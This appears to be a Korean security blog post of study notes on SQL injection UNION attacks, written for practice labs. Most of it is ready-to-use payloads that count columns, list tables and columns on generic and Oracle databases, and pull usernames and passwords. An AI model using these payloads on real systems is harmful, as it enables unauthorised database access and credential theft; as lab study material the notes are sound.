※ 해킹 관련 게시글은 공부한 내용을 정리를 위한 목적으로 게시하였습니다. 꼭 가상 서버 및 연습 환경이 제공된 일부 사이트를 제외한 일반 사이트에 적용 및 악용 절대 금지합니다. 또한 블로그에서는 절대로 책임지지 않습니다.
1. 목적 : SQL 이외의 데이터베이스에 대한 데이터베이스 내용을 나열하는 SQL Injection 공격
2. 방법 :
1) 관리자의 비밀번호 찾기
(1) '+UNION+SELECT+NULL,NULL--
(2) '+UNION+SELECT+'abc','def'--
(3) '+UNION+SELECT+table.name,+NULL+FROM+information_schema.tables--
(4) '+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_mqhltk'--
(사용자 이름과 비밀번호가 포함된 열 찾기)
* users_mqhltk : USERS_ABCDEF
(5) '+UNION+SELECT+username_ifigap,+password_dsrzyc+FROM+users_mclhltk--
* username_ifigap : USERNAME_ABCDEF
* password_dsrzyc : PASSWORD_ABCDEF
* users_mclhltk : USERS_ABCDEF
2) Oracle 스키마 정보 얻기
- all_tables를 쿼리하여 테이블 나열
SELECT * FROM all_tables
- all_tab_columns를 쿼리하여 열을 나열
SELECT * FROM all_tab_columns WHERE table_name='USERS'
3) Oracle 데이터베이스 내용 나열(SQL Injection 공격)
(1) 컬럼 갯수 확인
'+UNION+SELECT+NULL,NULL+FROM+dual--
(2) 컬럼에 값을 입력시 정상출력 위치 찾기
'+UNION+SELECT+'abc','def'+FROM+dual--
(3) 데이터베이스에서 테이블 목록 검색
'+UNION+SELECT+table_name,NULL+FROM+all_tables--
(4) 테이블의 열 세부 사항 검색
'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_SOSTTP'--
* USERS_SOSTTP : 테이블 이름(USERS_ABCDEF)
(5) USERS_SOSTTP 테이블에 USERS 이름, 패스워드 일치 확인
'+UNION+SELECT+USERNAME_BZUQGH,+PASSWORD_JREVYF+FROM+USERS_SOSTTP--
* USERNAME_BZUQGH : USER NAME
* PASSWORD_JREVYF : PASSWORD
* USERS_SOSTTP : 테이블 이름
4) 단일 열 내에서 여러 값 검색
- 조합된 값을 구별 할 수 있는 적절한 구분 기호를 포함하여 값을 함께 연결하여 단일 열 내에서 여러 값을 쉽게 검색 할 수 있음
Ex. Oracle
'+UNION+SELECT+username||'~'||password+FROM+users--
5) 단일 컬럼에서 여러 값을 검색하는 SQL Injection(UNION 공격)
(1) '+UNION+SELECT+NULL,NULL--
(2) '+UNION+SELECT+NULL,'abc'--
(3) '+UNION+SELECT+NULL,username||'~'||password+FROM+users--
'보안 > WEB' 카테고리의 다른 글
[WAB 보안] XSS(Cross Site Scripting) 취약점 (0) | 2020.05.02 |
---|---|
[WEB 보안] SQL 연결연산자로 DB 확인 (0) | 2020.05.02 |
[WEB 보안] SQL Injection-UNION Attack_1 (0) | 2020.04.26 |
[WEB 보안] SQL Injection 취약점_기타 (0) | 2020.04.26 |
[WEB 보안] Blind SQL Injection 취약점_2 (0) | 2020.04.26 |